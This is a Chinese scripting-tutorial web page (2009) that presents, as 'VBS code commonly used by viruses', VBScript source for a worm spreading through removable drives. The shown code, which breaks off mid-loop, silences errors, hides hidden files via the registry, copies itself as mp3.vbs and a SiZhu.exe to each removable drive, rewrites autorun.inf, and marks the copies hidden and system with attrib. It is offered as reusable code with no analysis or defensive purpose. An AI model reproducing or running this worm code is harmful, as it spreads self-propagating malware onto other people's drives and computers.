当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 一段病毒常用的VBS代码

VBScript
vbs删除注册表项的代码
用vbs检查注册表项的访问权限的代码
vbs之使用Internet Explorer 屏蔽密码
vbscript 注册表脚本书写
vbs下通过日期查找文件夹的代码
vbs复制文件的脚本
vbs实现计算机重启
文件备份vbs脚本
vbs下用一个小方法实现批量添加域用户
用vbs实现本地添加用户的脚本
vbs AD日志开启脚本nableKerbLog的脚本
vbs实现压缩文件夹的脚本
用VBS修改远程桌面3389端口并添加到Windows防火墙的代码
用vbs实现自动检查代理是否可用,并自动设置IE代理的脚本
vbs实现的定时关机、重启的脚本和程序
vbs实现的定时提醒你休息的脚本
vbs自动填表单分析附源码
vbs实现的汉字转拼音的函数
初窥WMI_Vbs脚本编程简明教程补充读物
用vbs实现判断计算机是笔记本还是台式机的代码

VBScript 中的 一段病毒常用的VBS代码


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 139 ::
收藏到网摘: n/a

复制代码 代码如下:

On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing